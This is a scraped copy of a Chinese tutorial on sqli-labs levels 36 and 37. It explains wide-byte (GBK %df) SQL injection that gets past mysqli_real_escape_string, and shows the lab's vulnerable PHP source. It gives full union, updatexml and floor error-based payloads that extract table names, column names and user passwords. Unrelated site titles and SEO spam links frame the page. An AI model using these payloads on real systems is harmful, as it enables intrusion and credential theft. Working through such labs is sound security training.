当前位置: 首页 > news >正文

湖北山河建设集团网站国外h5分享网站

湖北山河建设集团网站,国外h5分享网站,asp网站建设报告书,网页设计网站怎么做特效一、36关 GET单引号宽字节注入 请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id‘$id’ 首先我们进行测试(使用?id1\,查看过滤后的回显) 这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此&#xff…

一、36关 GET单引号宽字节注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

首先我们进行测试(使用?id=1\,查看过滤后的回显)
在这里插入图片描述这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
在这里插入图片描述
在这里插入图片描述
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
?>

源码大致与前几关相同,都是先过滤,后查询,查询成功输出查询到的信息,如果没有查询成功,那么输出报错信息。我们主要看下这个过滤函数,从而计划如何进行绕过:

function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    return $string;
}

可以看到里面主要使用了mysqli_real_escape_string函数,在官网进行查看:
在这里插入图片描述
可以看到官网说明对SQL语句特殊字符进行转义:

危险字符转义后
\\\
'\'
"\"

我们可以看到其实和前几关差不多,尤其32关,就过滤函数不一样,剩下的都一样。

2、联合查询注入

上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述

从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述

这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中,从而引发报错,所以这种方法其实是不可取的。

4、爆出数据库表名中的列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
在这里插入图片描述
可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
在这里插入图片描述
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
在这里插入图片描述
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。

5、爆出数据库表中的数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
这样即可完成union注入。

3、updatexml报错注入

之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。

1、爆出当前数据库名称

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出当前数据库中的所有表名

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出users可疑表的列名字段

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据完成updatexml报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

4、floor报错注入

这里就直接上payload:

1、查询当前数据库名称

?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、查询当前数据库下的所有表名

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、查询当前数据库表下的列名

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、查询users表中的数据

?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

二、37关 POST单引号宽字节注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname1=$_POST['uname'];$passwd1=$_POST['passwd'];//echo "username before addslashes is :".$uname1 ."<br>";//echo "Input password before addslashes is : ".$passwd1. "<br>";//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname1);fwrite($fp,'Password:'.$passwd1."\n");fclose($fp);$uname = mysqli_real_escape_string($con1, $uname1);$passwd= mysqli_real_escape_string($con1, $passwd1);//echo "username after addslashes is :".$uname ."<br>";//echo "Input password after addslashes is : ".$passwd; // connectivity mysqli_query($con1, "SET NAMES gbk");@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){//echo '<font color= "#0000ff">';	//echo " You Have successfully logged in\n\n " ;echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];echo '<img src="../images/flag.jpg"  />';	}else  {//echo "Try again looser";print_r(mysqli_error($con1));}
}
?>

我们从源码中可以看到依旧是相同的配置,只是变为了POST传参,同时对于uname以及passwd都进行了过滤,与36关相同的过滤方式,所以我们依旧使用宽字节注入,抓包进行改包测试。

$uname = mysqli_real_escape_string($con1, $uname1);
$passwd= mysqli_real_escape_string($con1, $passwd1);

在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述

2、测试观察回显

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出该数据库下的表名

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出该数据库表下的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
上面使用十六进制的方式,下面使用子查询的方式:

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出表的数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

在这里插入图片描述
下面是users表:

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库名下的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库下表的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库表的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成floor报错注入。

http://www.yayakq.cn/news/993541/

相关文章:

  • 做效果图比较好的模型网站怎么做产品推广和宣传
  • 响应式网站 站长平台做平台网站产品上传
  • 网站建设三大部分自助建站网站系统
  • 云浮市住房城乡建设信息网网站物联网 网站开发
  • 网站模板平台资源怎么做网站管理
  • 农产品网站建设策划书范文监控网站开发
  • 经常修改网站的关键词好不好资料库网站应该怎么做
  • 免费网站空间申请哪个好宿迁seo公司
  • 山西专业网站建设大全外国wordpress后台怎样添加关键词
  • 橱柜衣柜做网站东山县建设官方网站
  • 免费海报制作网站让人做网站需要注意什么条件
  • 自己做国外网站百度的推广广告
  • 网站开发费用是研发费用免费域名解析网站
  • 毕设做网站具体步骤网站建设流程笔记
  • 房产网站开发用什么语言好广告策划书封面
  • 机械厂做网站到底有没有效果wordpress 屏蔽ip
  • 网站开发者模式下怎么保存图片江门恒达互联网网站建设
  • 网站加百度商桥wordpress中文版
  • 网站弹出信息怎么做都匀网站
  • 音乐网站建设教程厦门软件园多客宝网站开发
  • 一份完整的网站策划方案外贸网站 推广
  • 重庆网站seo优化怀宁做网站
  • jsp网站新手如何建立网站
  • 用仿网站做优化有效果吗wordpress主题破解下载
  • 门户网站群建设长春一般做一个网站需要多少钱
  • 数据库跟网站内容洛阳网站建设联系方式
  • 做防水怎样注册网站兰州新区建站
  • 互联网营销网站建设北京城建亚泰建设集团有限公司网站首页
  • php怎么做视频网站外卖网站建设的策划
  • 临清网站开发怎么找项目